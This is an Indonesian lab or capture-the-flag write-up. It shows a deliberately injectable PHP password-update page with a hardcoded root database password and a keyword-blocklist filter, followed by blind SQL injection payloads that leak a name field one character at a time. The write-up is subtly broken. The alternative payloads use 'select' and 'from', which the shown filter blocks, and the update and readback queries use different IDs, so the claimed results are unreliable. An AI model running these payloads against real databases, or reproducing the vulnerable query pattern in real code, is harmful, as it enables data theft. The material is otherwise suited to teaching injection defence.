Masalah
Situs ini memiliki 2 input, prefix
dan password
yang digunakan untuk mengubah nilai field pass
pada database.
<html>
<body>
<h1>Update My Password and Leak My Name</h1>
<form action = "<?php $_PHP_SELF ?>" method = "POST">
Prefix: <input type = "text" name = "prefix" /> <br/>
Password: <input type = "text" name = "pass" /> <input type = "submit" />
</form>
</body>
</html>
<?php
function waf($id){
// if(preg_match('/\s/', $id))
// exit('attack'); // no whitespaces
// if(preg_match('/[\'"]/', $id))
// exit('attack no quotes');
if(preg_match('/[\/\\\\]/', $id))
exit('attack no slashes');
// if(preg_match('/(and|or|null|not)/i', $id))
// exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
// if(preg_match('/(--|#|\/\*)/', $id))
// exit('attack no sqli comments');
if(preg_match('/(=|&|\|)/', $id))
exit('attack'); // no boolean operators
}
$mysqli = new mysqli("localhost", "root", "tawheed", "exercise_session");
if ($mysqli->connect_errno)
{
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
if($_POST["pass"] || $_POST["prefix"])
{
$pass = $_POST["pass"];
$prefix = $_POST["prefix"];
waf($pass);
$q = sprintf("UPDATE tbl_mhs SET pass='%d%s' WHERE nim='12960001'", $prefix, $pass);
if ( !$mysqli->query($q) ) {
echo 'Status: 0' . "<br/>";
echo "<br/>"."Error code ({$mysqli->errno}): {$mysqli->error}" . "<br/>";
} else {
echo 'Status: 1' . "<br/>";
}
if ($result = $mysqli->query("select * from tbl_mhs where nim='1296001'"))
{
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "Points: " . $row["pass"]. "<br>";
}
} else {
echo "0 results";
}
$result->close();
}
}
// https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
?>
Penyelesaian
Sayangnya, situs ini masih lemah terhadap side channel dan SQL Injection. Dengan menggunakan payload ini, informasi rahasia pada field nm_mhs
bisa diungkap. Misal, salah satu isi field nm_mhs
adalah Acih
maka dengan mengenumerasi index dan bruteforce karakter yang ada sampai nilai points berubah menjadi 1
maka satu per satu karakter bisa diungkap.
Target
nm_mhs -> Acih
Status: 1
Points: 1
prefix = 1 Password = ' and mid(nm_mhs,'1',1) like 'A'#
prefix = 1 Password = ' and mid(nm_mhs,'2',1) like 'c'#
prefix = 1 Password = ' and mid(nm_mhs,'3',1) like 'i'#
prefix = 1 Password = ' and mid(nm_mhs,'4',1) like 'h'#
Sedangkan ada alternatif payload lain dengan menggunakan query substr
dan perbandingan karakter sebelumnya dengan karakter yang diinginkan, misal @ > A
.
Target
nm_mhs -> Acih
Status: 1
Points: 1
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),1,1)>'@',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),2,1)>'b',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),3,1)>'h',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),4,1)>'g',1,0) #